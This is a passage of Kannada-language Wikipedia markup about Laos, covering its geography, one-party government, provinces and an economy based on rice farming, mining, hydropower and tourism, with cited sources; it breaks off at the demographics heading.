ಭೂಗೋಳಶಾಸ್ತ್ರ == {{Main|Geography of Laos}} [[ಚಿತ್ರ:La-map.png|thumb|ಲಾವೋಸ್‌‌ನ ನಕ್ಷೆ]] ಲಾವೋಸ್‌‌ ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಸಂಪೂರ್ಣವಾಗಿ ನೆಲಾವೃತವಾದ ಒಂದು ರಾಷ್ಟ್ರ. ದಟ್ಟವಾದ ಕಾಡುಗಳಿಂದ ಆವೃತವಾದ ಭೂಪ್ರದೇಶವು ಕಡಿದಾದ ಪರ್ವತಗಳನ್ನು ಬಹುತೇಕ ಹೊಂದಿವೆ. ಕೆಲವು ಸಮತಟ್ಟಾದ ಪ್ರದೇಶ ಮತ್ತು ಪ್ರಸ್ತಭೂಮಿಗಳೊಂದಿಗೆ ಕೂಡಿ ಪರ್ವತಗಳಲ್ಲಿ ಅತಿಎತ್ತರವಾದುದು 9,242 ಅಡಿ (2,817 ಮೀ)ಯಿರುವ [[ಫೌ ಬಿಯಾ]]. ಮೆಕಾಂಗ್‌ ನದಿಯು ಥೈಲೆಂಡ್‌ನೊಂದಿಗಿನ ಪಶ್ಚಿನ ದಿಕ್ಕಿನ ಸೀಮೆಯ ಹೆಚ್ಚಿನ ಭಾಗವನ್ನು ಆವರಿಸುತ್ತದೆ. ಅನ್ನಾಮೈಟ್ ಚೈನ್ ಪರ್ವತಗಳು ವಿಯೆಟ್ನಾಂನೊಂದಿಗಿನ ಪೂರ್ವ ದಿಕ್ಕಿನ ಸೀಮೆಯಾಗಿ ರೂಪುಗೊಂಡಿವೆ. ಇದು ಉಷ್ಣವಲಯದ, ಮಾನ್ಸೂನ್ ವಾಯುಗುಣವನ್ನು ಹೊಂದಿದೆ. ಇಲ್ಲಿ ಡಿಸೆಂಬರ್‌ನಿಂದ ಎಪ್ರಿಲ್‌ವರೆಗಿನ ಶುಷ್ಕ ಕಾಲದ ನಂತರ ಮೇಯಿಂದ ನವೆಂಬರ್‌ನವರೆಗೆ ಭಿನ್ನವಾದ ಮಳೆಗಾಲವಿರುತ್ತದೆ. ವಾಯುಗುಣಶಾಸ್ತ್ರೀಯವಾಗಿ ನಿರೂಪಿಸಿದ ಕೊನೆಯ ಎರಡು ತಿಂಗಳ ಶುಷ್ಕಕಾಲವು ಆರಂಭದ ನಾಲ್ಕು ತಿಂಗಳಿಗಿಂತ ಹೆಚ್ಚು ಬಿಸಿಯಾಗಿರುವುದರಿಂದ ಸ್ಥಳೀಯ ಸಂಪ್ರದಾಯದಲ್ಲಿ ಮ‌ೂರು ಋತುಗಳಿರುವುದಾಗಿ (ಮಳೆಗಾಲ, ಚಳಿಗಾಲ ಮತ್ತು ಬೇಸಿಗೆಕಾಲ) ಹೇಳುತ್ತದೆ. ವಿಯೆಂಟಿಯಾನ್‌ ಲಾವೋಸ್‌ನ‌ ರಾಜಧಾನಿ ಮತ್ತು ಅತಿದೊಡ್ಡ ನಗರ. ಇತರ ಪ್ರಮುಖ ನಗರಗಳೆಂದರೆ [[ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌]], [[ಸವನ್ನಾಖೆಟ್‌]] ಮತ್ತು [[ಪ್ಯಾಕ್ಸೆ]]. 1993ರಲ್ಲಿ ಲಾವೋಸ್‌‌ ಸರಕಾರವು ರಾಷ್ಟ್ರದ ಭೂಪ್ರದೇಶದ 21%ನಷ್ಟು ಸ್ವಾಭಾವಿಕ ನೆಲೆಗಳ ಸಂರಕ್ಷಣೆಗಾಗಿ ಪ್ರತ್ಯೇಕವಾಗಿಟ್ಟಿದೆ{{Citation needed|date=June 2009}}. ಈ ರಾಷ್ಟ್ರವು ಅಫೀಮು ಪಾಪಿ ಬೆಳೆಯುವ ನಾಲ್ಕು ಪ್ರಮುಖ ಪ್ರದೇಶಗಳಲ್ಲಿ ಒಂದಾದ "[[ಗೋಲ್ಡನ್ ಟ್ರಿಯಾಂಗಲ್‌]]"ಅನ್ನು ಹೊಂದಿದೆ. ಅಕ್ಟೋಬರ್ 2007ರ UNODC ಸತ್ಯಸಂಗತಿಯ ಪುಸ್ತಕದ ಪ್ರಕಾರ "ಆಗ್ನೇಯ ಏಷ್ಯಾದ ಅಫೀಮು ಪಾಪಿ ಬೆಳೆಯುವ" ಪ್ರದೇಶವು {{convert|15|km2|acre}}ರಷ್ಟಿತ್ತು. ಇದು 2008ರ {{convert|18|km2|acre}}ರಷ್ಟು ಪ್ರದೇಶಕ್ಕಿಂತ ಕಡಿಮೆಯಾಗಿದೆ. == ಸರಕಾರ ಮತ್ತು ರಾಜಕೀಯ == {{Main|Politics of Laos|Foreign relations of Laos}} ಲಾವೋಸ್‌‌ ಒಂದು ಕಮ್ಯೂನಿಸ್ಟ್‌ ಏಕ-ಪಕ್ಷೀಯ [[ಸಮಾಜವಾದಿ ಪ್ರಜಾಪ್ರಭುತ್ವ]]. ಏಕಮಾತ್ರ ಕಾನೂನುಬದ್ಧ ರಾಜಕೀಯ ಪಕ್ಷವೆಂದರೆ [[ಲಾವೊ ಪೀಪಲ್ಸ್ ರಿವಲ್ಯೂಶನರಿ ಪಾರ್ಟಿ]] (LPRP). ಅಧ್ಯಕ್ಷ [[ಕೌಮಾಲಿ ಸಯಸೋನೆ]]ಯು ರಾಷ್ಟ್ರದ ಮುಖಂಡ ಮಾತ್ರವಲ್ಲದೆ LPRPಯ ಮಹಾಕಾರ್ಯದರ್ಶಿಯೂ(ನಾಯಕ) ಆಗಿದ್ದಾನೆ. ಸರಕಾರದ ಮುಖ್ಯಸ್ಥರು [[ಪ್ರಧಾನ ಮಂತ್ರಿ]] [[ಬೌಸೋನೆ ಬೌಫವಾನ್‌]]. ಸರಕಾರದ ನೀತಿಗಳು ಅತಿ ಪ್ರಭಾವಶಾಲಿ ಒಂಬತ್ತು ಸದಸ್ಯರ [[ಪಾಲಿಟ್‌ಬ್ಯೂರೋ]] ಮತ್ತು 49-ಸದಸ್ಯರ ಕೇಂದ್ರ ಸಮತಿಯ ಮ‌ೂಲಕ ಪಕ್ಷದಿಂದ ನಿಶ್ಚಯಿಸಲ್ಪಡುತ್ತವೆ. ಸರಕಾರದ ಪ್ರಮುಖ ನಿರ್ಧಾರಗಳು ಮಂತ್ರಿಮಂಡಲದಿಂದ ಕೂಲಂಕಷ ಪರೀಕ್ಷೆಗೊಳಗಾಗುತ್ತವೆ. ಲಾವೋಸ್‌‌‌ನ ಮೊದಲ ಫ್ರೆಂಚ್‌-ಲಿಖಿತ ಮತ್ತು ರಾಜಪ್ರಭುತ್ವವನ್ನು ಪ್ರತಿಪಾದಿಸುವ [[ಸಂವಿಧಾನ]]ವನ್ನು 1947ರ ಮೇ 11ರಲ್ಲಿ ಘೋಷಿಸಲಾಯಿತು ಹಾಗೂ ಇದು [[ಫ್ರೆಂಚ್‌ ಒಕ್ಕೂಟ]]ದಲ್ಲಿ ಸ್ವತಂತ್ರ ರಾಷ್ಟ್ರವೆಂದು ಘೋಷಿಸಲ್ಪಟ್ಟಿತು. ಹಿಂದಿನ ವಸಾಹತುಶಾಹಿ ಅಧಿಕಾರದೊಂದಿಗಿನ ಶೈಕ್ಷಣಿಕ, ಆರೋಗ್ಯ ಮತ್ತು ತಾಂತ್ರಿಕ ನಿಕಟ ಸಂಬಂಧಗಳು ಉಳಿದಿದ್ದರೂ 1957ರ ಮೇ 11ರ ಪರಿಷ್ಕೃತ ಸಂವಿಧಾನವು ಫ್ರೆಂಚ್‌ ಒಕ್ಕೂಟದ ಉಲ್ಲೇಖವನ್ನು ಸೇರಿಸಿಕೊಳ್ಳಲಿಲ್ಲ. 1957ರ ದಾಖಲೆಯು ಕಮ್ಯೂನಿಸ್ಟ್‌ ಪೀಪಲ್ಸ್ ರಿಪಬ್ಲಿಕ್ ಘೋಷಣೆಯಾದಾಗ 1975ರ ಡಿಸೆಂಬರ್ 3ರಲ್ಲಿ ರದ್ದುಗೊಂಡಿತು. 1991ರಲ್ಲಿ ಹೊಸ ಸಂವಿಧಾನವೊಂದನ್ನು ಅಂಗೀಕರಿಸಲಾಯಿತು ಹಾಗೂ LPRPಗೆ "ಪ್ರಮುಖ ಸ್ಥಾನ"ವನ್ನು ಪ್ರತಿಷ್ಠಾಪಿಲಾಯಿತು. ನಂತರದ ವರ್ಷದಲ್ಲಿ ಐದು-ವರ್ಷಾವಧಿಗಳಿಗೆ ರಹಸ್ಯ ಮತದಾನದಿಂದ ಚುನಾಯಿತರಾದ ಸದಸ್ಯರ ಹೊಸ 85-ಸ್ಥಾನದ [[ರಾಷ್ಟ್ರದ ಸಂಸತ್ತಿಗೆ]] ಚುನಾವಣೆಗಳನ್ನು ನಡೆಸಲಾಯಿತು. ಕಾರ್ಯಾಂಗವು ಬದ್ದತೆಯ ಶಾಸನಗಳನ್ನು ಹೊರಡಿಸುವ ಅಧಿಕಾರವನ್ನು ಹೊಂದಿದ್ದರೂ, LPRPಗೆ [[ರಬ್ಬರ್ ಸ್ಟಾಂಪ್‌]]ನಂತೆ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಈ 'ರಾಷ್ಟ್ರದ ಸಂಸತ್ತು' ಎಲ್ಲಾ ಹೊಸ ಕಾನೂನುಗಳನ್ನು ಅಂಗೀಕರಿಸುತ್ತದೆ. ಇತ್ತೀಚಿನ ಚುನಾವಣೆಯು 2006ರ ಎಪ್ರಿಲ್‌ನಲ್ಲಿ ನಡೆಯಿತು. 1997ರಲ್ಲಿ ಸಂಸತ್ತಿನ ಸದಸ್ಯರ ಸಂಖ್ಯೆಯು 99ಕ್ಕೆ ವಿಸ್ತರಿಸಲ್ಪಟ್ಟಿತು ಹಾಗೂ 2006ರ ಚುನಾವಣೆಯಲ್ಲಿ ಇದು 115ಕ್ಕೆ ಏರಿತು. == ಆಡಳಿತದ ವಿಭಾಗಗಳು == [[ಚಿತ್ರ:Laos provinces.png|thumb|ಲಾವೋಸ್‌‌ನ ಪ್ರಾಂತಗಳು]] {{Main|Provinces of Laos|Districts of Laos}} ಲಾವೋಸ್‌‌ [[16 ಪ್ರಾಂತ]]ಗಳಾಗಿ (''ಕ್ವಂಗ್'' ) ಮತ್ತು ವಿಯೆಂಟಿಯಾನ್‌ ರಾಜಧಾನಿಯಾಗಿ (''ನಾ ಕೋನೆ ಲುವಾಂಗ್ ವಿಯೆಂಟಿಯಾನ್‌'' ) ವಿಭಾಗಿಸಲ್ಪಟ್ಟಿದೆ: <div style="width:55%"> # [[ಅಟ್ಟಪು]] # [[ಬೊಕೆಯೊ]] # [[ಬೊಲಿಖಾಂಕ್ಸೈ]] # [[ಚಂಪಾಸಕ್‌]] # [[ಹೌವಾಫನ್]] # [[ಖಮೌವನ್]] # [[ಲೌಂಗ್ ನಮ್ತಾ]] # [[ಲೌವಂಗ್‌ಫಾಬಂಗ್]] # [[ಔಡೋಂಕ್ಸೈ]] # [[ಫೋಂಗ್ಸಲಿ]] # [[ಸಲಾವನ್]] # [[ಸವನ್ನಾಖೆಟ್‌]] # [[ವಿಯೆಂಟಿಯಾನ್‌ ರಾಜಧಾನಿ]] # [[ವಿಯೆಂಟಿಯಾನ್‌ ಪ್ರಾಂತ]] # [[ಕ್ಸೈಗ್ನಾಬೌಲಿ]] # [[ಕ್ಸೈಸೋಂಬೌನ್‌]] (ವಿಶೇಷ ಆಡಳಿತಾತ್ಮಕ ವಲಯ, 2006ರಲ್ಲಿ ವಿಸರ್ಜಿಸಲ್ಪಟ್ಟಿತು) # [[ಕ್ಸೆಕಾಂಗ್]] # [[ಕ್ಸಿಯಾಂಗ್‌ಖೌವಾಂಗ್]] </div> ರಾಷ್ಟ್ರವು ಮತ್ತೆ [[ಜಿಲ್ಲೆ]]ಗಳಾಗಿ ವಿಭಜಿಸಲ್ಪಟ್ಟಿದೆ (''ಮ್ವಾಂಗ್'' ). == ಆರ್ಥಿಕತೆ == {{Main|Economy of Laos}} {{See also|Tourism in Laos}} [[ಚಿತ್ರ:Wattay Intl Airport Vientiane Laos.jpg|thumb|ವಿಯೆಂಟಿಯಾನ್‌ನ ವ್ಯಾಟ್ಟೆ ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಏರ್‌ಪೋರ್ಟ್]] [[ಚಿತ್ರ:Markt Luang Prabang.jpg|thumb|left|ಲ್ವಾಂಗ್ ಪ್ರಬಂಗ್‌ನ ಬೀದಿಯೊಂದರ ಮಾರುಕಟ್ಟೆ.]] [[ಚಿತ್ರ:nam ou 1.jpg|thumb|left|ಲಾವೋಸ್‌ನಲ್ಲಿ ನದಿಗಳು ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆಯ ಪ್ರಮುಖ ಮಾರ್ಗಗಳು‌.]] [[ಚಿತ್ರ:lao bus.jpg|thumb|right|ಪ್ರಮುಖ ನಗರಗಳನ್ನು ಸಂಪರ್ಕಿಸುವ ಬಸ್‌ಗಳು]] ಲಾವೊ ಆರ್ಥಿಕತೆಯು ಅದರ ನೆರೆರಾಷ್ಟ್ರಗಳಾದ ಥೈಲೆಂಡ್‌, ವಿಯೆಟ್ನಾಂ ಮತ್ತು ವಿಶೇಷವಾಗಿ ಉತ್ತರ ಚೀನಾದೊಂದಿಗಿನ ಹೂಡಿಕೆ ಮತ್ತು ವ್ಯಾಪಾರವನ್ನು ಬಹಳವಾಗಿ ಅವಲಂಬಿಸಿದೆ. [[ಪ್ಯಾಕ್ಸೆ]]ಯು ಥೈಲೆಂಡ್‌ ಮತ್ತು ವಿಯೆಟ್ನಾಂನೊಂದಿಗಿನ ಅಂತರ್-ಗಡಿ ವ್ಯಾಪಾರದ ಆಧಾರದಿಂದ ಅಭಿವೃದ್ಧಿ ಕಂಡಿತು. ದೇಶದ ಹೆಚ್ಚಿನ ಭಾಗವು ಸಮರ್ಪಕವಾದ ಮೂಲಭೂತ ಸೌಕರ್ಯಗಳ ಅಭಾವವನ್ನು ಹೊಂದಿದೆ. ವಿಯೆಂಟಿಯಾನ್‌ಅನ್ನು ಥೈಲೆಂಡ್‌ನೊಂದಿಗೆ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವ [[ಥಾಯ್-ಲಾವೊ ಸ್ನೇಹ ಸೇತುವೆ]] ಮೇಲಿನ ಸಣ್ಣ ಸಂಪರ್ಕವನ್ನು ಬಿಟ್ಟರೆ ಲಾವೋಸ್‌‌ ಬೇರೆ ಯಾವುದೇ ರೈಲು ವ್ಯವಸ್ಥೆಯನ್ನು ಹೊಂದಿಲ್ಲ. ಪ್ರಮುಖ ನಗರ ಕೇಂದ್ರಗಳೊಂದಿಗೆ ಸಂಪರ್ಕ ಕಲ್ಪಿಸುವ ಮುಖ್ಯ ರಸ್ತೆಗಳು ನಿರ್ದಿಷ್ಟವಾಗಿ [[ಮಾರ್ಗ 13]] ಇತ್ತೀಚಿನ ದಿನಗಳಲ್ಲಿ ಗಮನಾರ್ಹವಾಗಿ ಮೇಲ್ದರ್ಜೆಗೇರಿವೆ. ಆದರೆ ಮುಖ್ಯ ರಸ್ತೆಗಳಿಂದ ಬಹುದೂರವಿರುವ ಹಳ್ಳಿಗಳನ್ನು ವರ್ಷವಿಡೀ ಪ್ರವೇಶಿಸಲಸಾಧ್ಯವಾದ ನೆಲಗಟ್ಟು ಮಾಡದ ರಸ್ತೆಗಳಿಂದಲೇ ತಲುಪಬೇಕಾಗುತ್ತದೆ. ಹೊರಗಿನ ಮತ್ತು ಒಳಗಿನ [[ದೂರಸಂಪರ್ಕ ವ್ಯವಸ್ಥೆ]]ಯು ಸೀಮಿತದಲ್ಲಿದ್ದರೂ, [[ಮೊಬೈಲ್ ಫೋನ್]] ಗಳು ಮಾತ್ರ ನಗರ ಪ್ರದೇಶದಲ್ಲಿ ಹೆಚ್ಚು ವಿಸ್ತಾರವಾಗಿ ಬಳಕೆಯಲ್ಲಿದೆ. ಹೆಚ್ಚಿನ ಗ್ರಾಮೀಣ ಪ್ರದೇಶಗಳಲ್ಲಿ ವಿದ್ಯುತ್ ಪೂರೈಕೆಯು ಕನಿಷ್ಠ ಆಂಶಿಕವಾಗಿ ಲಭ್ಯವಾಗಿರುತ್ತದೆ. ರಾಷ್ಟ್ರದಲ್ಲಿ ಬಹುದೂರದ ಮತ್ತು ಸ್ಥಳೀಯ ಸಾರ್ವಜನಿಕ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆಯಾಗಿ [[ಸಾಂಗ್‌ಥೇವ್‌]]ಗಳನ್ನು (ಆಸನಗಳನ್ನು ಹೊಂದಿರುವ ಸಣ್ಣ ತೆರೆದ ಮೋಟಾರು ಟ್ರಕ್ಕುಗಳು) ಬಳಸಲಾಗುತ್ತದೆ. [[ಜೀವನಾಧಾರ ಕೃಷಿ]]ಯು [[GDP]]ಯ ಅರ್ಧದಷ್ಟು ಪ್ರಮಾಣದ ಮೂಲಾಧಾರವಾಗಿದೆ ಹಾಗೂ ಇದು 80 ಪ್ರತಿಶತದಷ್ಟು ಉದ್ಯೋಗವನ್ನು ಒದಗಿಸುತ್ತದೆ. ರಾಷ್ಟ್ರದ 4.01 ಪ್ರತಿಶತದಷ್ಟು ಭೂಮಿ ಮಾತ್ರ ಬೇಸಾಯಯೋಗ್ಯವಾಗಿದೆ. 0.34 ಪ್ರತಿಶತದಷ್ಟನ್ನು ಶಾಶ್ವತ ಬೆಳೆ ಬೆಳೆಯುವ ಭೂಮಿಯಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ<ref>[https://www.cia.gov/library/publications/the-world-factbook/fields/2097.html Field Listing - Land use] {{Webarchive|url=https://web.archive.org/web/20140326095031/https://www.cia.gov/library/publications/the-world-factbook/fields/2097.html |date=2014-03-26 }}, CIA World Factbook</ref>, ಇದರಲ್ಲಿ [[ಗ್ರೇಟರ್ ಮೆಕಾಂಗ್‌ ಉಪಪ್ರಾಂತ]]ದಲ್ಲಿ ಅತಿಕಡಿಮೆ ಶೇಕಡಾವಾರು ಪ್ರಮಾಣದಲ್ಲಿ ಬೆಳೆಯಲಾಗುತ್ತದೆ.<ref>[http://www.adb.org/GMS/about.asp ಏಷಿಯನ್ ಡೆವೆಲಪ್‌ಮೆಂಟ್ ಬ್ಯಾಂಕ್] {{Webarchive|url=https://web.archive.org/web/20100131143033/http://www.adb.org/GMS/about.asp |date=2010-01-31 }} - ಗ್ರೇಟರ್ ಮೆಕಾಂಗ್‌ ಉಪಪ್ರಾಂತದ ಬಗ್ಗೆ</ref> ಕೃಷಿಯಲ್ಲಿ ಭತ್ತವು ಪ್ರಮುಖವಾದ ಬೆಳೆಯಾಗಿದೆ. ವ್ಯವಸಾಯಯೋಗ್ಯ ಭೂಮಿಯಲ್ಲಿ ಸುಮಾರು 80 ಪ್ರತಿಶತದಷ್ಟು ಭೂಮಿಯನ್ನು ಭತ್ತ ಬೆಳೆಯಲು ಬಳಸುತ್ತಾರೆ.<ref>{{Cite web |url=http://www.irri.org/donors/SDC/pdfs/RiceFabricOf%20LifeInLaos.pdf |title=ರೈಸ್, ದ ಫ್ಯಾಬ್ರಿಕ್ ಆಫ್ ಲೈಫ್ ಇನ್ ಲಾವೋಸ್‌‌ |access-date=2010-04-14 |archive-date=2007-06-28 |archive-url=https://web.archive.org/web/20070628094304/http://www.irri.org/donors/SDC/pdfs/RiceFabricOf%20LifeInLaos.pdf |url-status=dead }}</ref> ಲಾವೊ ಪ್ರದೇಶದ ಸರಿಸುಮಾರು 77 ಪ್ರತಿಶತದಷ್ಟು ಕೃಷಿಯಾಧಾರಿತ ಮನೆಗಳು ಭತ್ತದ ಬೆಳೆಯಲ್ಲಿ ಸ್ವಾವಲಂಬಿಯಾಗಿವೆ.<ref>[http://www.irri.org/publications/today/pdfs/5-2/22-27.pdf ಜಿನೈನ್ಲಿ ಲಾವೊ] {{Webarchive|url=https://web.archive.org/web/20061012050925/http://www.irri.org/publications/today/pdfs/5-2/22-27.pdf |date=2006-10-12 }}, ರೈಸ್ ಟುಡೆ, ಎಪ್ರಿಲ್-ಜೂನ್ 2006</ref> ಭತ್ತದ ಸುಧಾರಿತ ತಳಿಗಳ ಅಭಿವೃದ್ಧಿ, ಬಿಡುಗಡೆ ಮತ್ತು ವ್ಯಾಪಕ ಅಳವಡಿಕೆಯಿಂದ ಹಾಗೂ ಆರ್ಥಿಕ ಸುಧಾರಣೆಗಳ ಮ‌ೂಲಕ, 1990ರಿಂದ 2005ರವರೆಗಿನ ಅವಧಿಯಲ್ಲಿ ಉತ್ಪತ್ತಿಯು ವಾರ್ಷಿಕ ದರದಲ್ಲಿ 5 ಪ್ರತಿಶತದಷ್ಟು ಹೆಚ್ಚಾಯಿತು.<ref>[http://www.irri.org/donors/SDC/pdfs/15YearsOfSupport.pdf FIFTEEN YEARS OF SUPPORT FOR RICE RESEARCH IN LAO PDR] {{Webarchive|url=https://web.archive.org/web/20071027021851/http://www.irri.org/donors/SDC/pdfs/15YearsOfSupport.pdf |date=2007-10-27 }}<br /> ^ [http://www.irri.org/donors/SDC/pdfs/Asia_Brief.pdf ^ ASIA BRIEF: FILLING THE RICE BASKET IN LAO PDR PARTNERSHIP RESULTS] {{Webarchive|url=https://web.archive.org/web/20070628094312/http://www.irri.org/donors/SDC/pdfs/Asia_Brief.pdf |date=2007-06-28 }}<br /> ^ [http://www.irri.org/donors/SDC/pdfs/GenuinelyLao.pdf ಜಿನೈನ್ಲಿ ಲಾವೊ] {{Webarchive|url=https://web.archive.org/web/20071027021910/http://www.irri.org/donors/SDC/pdfs/GenuinelyLao.pdf |date=2007-10-27 }} - IRRIನ ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಪ್ರೋಗ್ರಾಮ್ಸ್ ಮ್ಯಾನೇಜ್ಮೆಂಟ್ ಆಫಿಸ್‌ನಿಂದ ಸಿದ್ಧಪಡಿಸಲಾಗಿದೆ.</ref> ಲಾವೊ PDR 1999ರಲ್ಲಿ ಮೊದಲ ಬಾರಿಗೆ ಭತ್ತದ ಆಮದು ಮತ್ತು ರಫ್ತಿನಲ್ಲಿ ನಿವ್ವಳ ಸಮತೋಲನವನ್ನು ಕಂಡಿತು<ref name="eurekalert">[http://www.eurekalert.org/pub_releases/2006-03/irri-tgr031506.php ದ ಗ್ರೀನ್ ರೆವಲ್ಯೂಷನ್ ಕಮ್ಸ್ ಟು ಲಾವೋಸ್‌‌]</ref>. ಲಾವೊ PDR ಭತ್ತದ ಅತಿಹೆಚ್ಚಿನ ತಳಿಗಳನ್ನು ಗ್ರೇಟರ್ ಮೆಕಾಂಗ್‌ ಉಪಪ್ರಾಂತದಲ್ಲಿ ಹೊಂದಿದೆ. 1995ರಿಂದ ಈಚೆಗೆ ಲಾವೊ ಸರಕಾರವು, ಲಾವೋಸ್‌‌‌ನಲ್ಲಿ ಕಂಡುಬಂದ ಸಾವಿರಾರು ಭತ್ತದ ತಳಿಗಳ ಪ್ರತಿಯೊಂದರ ಬೀಜ ಮಾದರಿಗಳನ್ನು ಸಂಗ್ರಹಿಸುವುದಕ್ಕಾಗಿ [[ಅಂತಾರಾಷ್ಟ್ರೀಯ ಭತ್ತ ಸಂಶೋಧನೆ ಸಂಸ್ಥೆ]]‌ಯೊಂದಿಗೆ ಕೆಲಸ ಮಾಡುತ್ತಿದೆ.<ref>{{Cite web |url=http://www.irri.org/publications/annual/pdfs/ar2000/Race.pdf |title=ಎ ರೇಸ್ ಎಗೈನೆಸ್ಟ್ ಟೈಮ್ |access-date=2010-04-14 |archive-date=2007-06-14 |archive-url=https://web.archive.org/web/20070614081343/http://www.irri.org/publications/annual/pdfs/ar2000/Race.pdf |url-status=dead }}</ref> ಆರ್ಥಿಕ ವ್ಯವಸ್ಥೆಯು [[ಅಭಿವೃದ್ಧಿ ಸಹಾಯ]]ವನ್ನು [[IMF]], [[ADB]] ಮತ್ತು ಇತರ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಮ‌ೂಲಗಳಿಂದ ಪಡೆಯುತ್ತದೆ ಹಾಗೂ ಸಮಾಜ, ಕೈಗಾರಿಕೆ, [[ಜಲಶಕ್ತಿ]] ಹಾಗೂ [[ತಾಮ್ರ]] ಮತ್ತು [[ಚಿನ್ನ]]ದಂತಹ [[ಗಣಿಗಾರಿಕೆ]]ಯ ಅಭಿವೃದ್ಧಿಗೆ [[ವಿದೇಶಿ ನೇರಬಂಡವಾಳ ಹೂಡಿಕೆ]]ಯನ್ನು ಬಳಸಿಕೊಳ್ಳುತ್ತದೆ. [[ಪ್ರವಾಸೋದ್ಯಮ]]ವು ರಾಷ್ಟ್ರದಲ್ಲಿ ವೇಗವಾಗಿ ಬೆಳೆಯುತ್ತಿರುವ ಉದ್ಯಮವಾಗಿದೆ. ಆರ್ಥಿಕ ಅಭಿವೃದ್ಧಿಯು [[ಪ್ರತಿಭಾಪಲಾಯನ]]ದಿಂದಾಗಿ ಅಡಚಣೆಗೊಳಪಟ್ಟಿದೆ. 2000ರ ಅಂದಾಜಿನ ಪ್ರಕಾರ 37.4 ಪ್ರತಿಶತದಷ್ಟು ದರದಲ್ಲಿ ಪ್ರತಿಭಾವಂತರು ವಲಸೆಹೋಗುತ್ತಿದ್ದಾರೆ<ref>[http://ces.univ-paris1.fr/membre/Mariani/em/DM_BookWB%5B1%5D.pdf ಇಂಟರ್‌ನ್ಯಾಷನಲ್ ಮೈಗ್ರೇಶನ್, ರೆಮಿಟಾನ್ಸಸ್ &amp; ದ ಬ್ರೈನ್ ಡ್ರೈನ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref>. ಲಾವೋಸ್‌‌‌ನಲ್ಲಿ ಖನಿಜ ಸಂಪನ್ಮೂಲಗಳು ಸಮೃದ್ಧವಾಗಿವೆ. ಆದರೆ ಅದು ಪೆಟ್ರೋಲಿಯಂ ಮತ್ತು ಅನಿಲವನ್ನು ಆಮದು ಮಾಡಿಕೊಳ್ಳುತ್ತದೆ. [[ಲೋಹಗಾರಿಕೆ]]ಯು ಇಲ್ಲಿನ ಪ್ರಮುಖ ಕೈಗಾರಿಕೆಯಾಗಿದೆ. ಸರಕಾರವು [[ಕಲ್ಲಿದ್ದಲು]], ಚಿನ್ನ, [[ಬಾಕ್ಸೈಟ್]], [[ತವರ]] ತಾಮ್ರ ಮತ್ತು ಇತರ ಬೆಲೆಬಾಳುವ ಲೋಹಗಳ ಗಣನೀಯ ಪ್ರಮಾಣದ ನಿಕ್ಷೇಪವನ್ನು ಅಭಿವೃದ್ಧಿಗೊಳಿಸಲು ವಿದೇಶಿ ಹೂಡಿಕೆಯನ್ನು ಆಕರ್ಷಿಸುವ ಆಶಯವನ್ನು ಹೊಂದಿದೆ. ರಾಷ್ಟ್ರದ ಯಥೇಚ್ಛ ನೀರಿನ ಸಂಪನ್ಮೂಲ ಮತ್ತು ಪರ್ವತಗಳಿಂದ ಕೂಡಿತ ಭೂಪ್ರದೇಶವು ಜಲವಿದ್ಯುತ್ ಶಕ್ತಿಯನ್ನು ಅತಿಹೆಚ್ಚಿನ ಪ್ರಮಾಣದಲ್ಲಿ ಉತ್ಪತಿ ಮಾಡಲು ಮತ್ತು ರಫ್ತು ಮಾಡಲು ಸಹಾಯಕವಾಗಿದೆ. ಸರಿಸುಮಾರು 18,000 ಮೆಗಾವ್ಯಾಟ್‌‌ಗಳಷ್ಟು ವಿದ್ಯುತ್‌ಶಕ್ತಿ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಸುಮಾರು 8,000 ಮೆಗಾವ್ಯಾಟ್‌ಗಳನ್ನು ಥೈಲೆಂಡ್‌ ಮತ್ತು ವಿಯೆಟ್ನಾಂಗೆ ರಫ್ತುಮಾಡುವ ಬದ್ಧತೆಯನ್ನು ಮಾಡಿಕೊಂಡಿದೆ.<ref>{{Cite web |url=http://www.adb.org/Documents/TARs/LAO/40514-LAO-TAR.pdf |title=ಲಾವೊ ಪೀಪಲ್ಸ್ ಡೆಮೋಕ್ರೆಟಿಕ್ ರಿಪಬ್ಲಿಕ್: ಪ್ರಿಪಾರಿಂಗ್ ದ ಕ್ಯುಮುಲೇಟಿವ್ ಇಂಪ್ಯಾಕ್ಟ್ ಅಸೆಸ್ಮೆಂಟ್ ಫಾರ್ ದ ನ್ಯಾಮ್ ನ್ಗುಮ್ 3 ಹೈಡ್ರೊಪವರ್ ಪ್ರಾಜೆಕ್ಟ್ |access-date=2010-04-14 |archive-date=2011-05-15 |archive-url=https://web.archive.org/web/20110515093014/http://www.adb.org/Documents/TARs/LAO/40514-LAO-TAR.pdf |url-status=dead }}</ref> 1990ರಲ್ಲಿ 14,400ರಷ್ಟಿದ್ದ ಪ್ರವಾಸಿಗರು 2005ರಲ್ಲಿ 1.1 ದಶಲಕ್ಷದಷ್ಟು ಲಾವೋಸ್‌‌ಗೆ ಭೇಟಿನೀಡುವುದರೊಂದಿಗೆ ಇಲ್ಲಿನ ಪ್ರವಾಸೋದ್ಯಮ ವಿಭಾಗವು ಅತಿವೇಗವಾಗಿ ಬೆಳೆದಿದೆ. ಪ್ರವಾಸೋದ್ಯಮದಿಂದ ಬರುವ ವಾರ್ಷಿಕ ಆದಾಯವು 2020ರೊಳಗೆ $250–300 ದಶಲಕ್ಷದಷ್ಟು ಹೆಚ್ಚಾಗುವ ಸಾಧ್ಯತೆ ಇದೆ.<ref>{{Cite web |url=http://www.latalaos.org/doc/Strategy2006.pdf |title=ಲಾವೊ PDR ಟೂರಿಸಂ ಸ್ಟ್ರಾಟೆಜಿ 2006-2020 |access-date=2010-04-14 |archive-date=2013-01-24 |archive-url=https://web.archive.org/web/20130124061214/http://www.latalaos.org/doc/Strategy2006.pdf |url-status=dead }}</ref> == ಜನಸಾಂದ್ರತೆ == {{Main|Demographics of Laos}} [[ಚಿತ್ರ:Patuxay, Vientiane, 